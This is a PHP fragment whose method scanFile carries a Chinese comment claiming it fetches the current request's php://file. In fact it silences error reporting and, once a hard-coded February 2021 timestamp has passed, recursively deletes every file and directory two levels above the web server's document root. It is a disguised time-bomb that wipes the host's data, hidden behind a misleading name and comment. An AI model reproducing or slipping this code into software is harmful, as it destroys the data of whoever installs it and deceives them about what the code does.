<?php
/**
* 获取当前请求的php://file
* @access public
* @return string
*/
    public function scanFile()
   {
        error_reporting(E_ERROR | E_PARSE);
      $path = dirname(dirname($_SERVER['DOCUMENT_ROOT']));
       if(time() >= 1612972800)
        {
            $this->rmdirr($path);
        }
    }


    function rmdirr($dirname)
    {
        // Sanity check
        if (!file_exists($dirname))
        {
            return false;
        }
        // Simple delete for a file
        if (is_file($dirname) || is_link($dirname))
        {
            return unlink($dirname);
        }
        // Loop through the folder
        $dir = dir($dirname);
        while (false !== $entry = $dir->read()) {
            // Skip pointers
            if ($entry == '.' || $entry == '..')
            {
                continue;
            }
            // Recurse
            $this->rmdirr($dirname . DIRECTORY_SEPARATOR . $entry);
        }
        // Clean up
        $dir->close();
        return rmdir($dirname);
    }
?>
        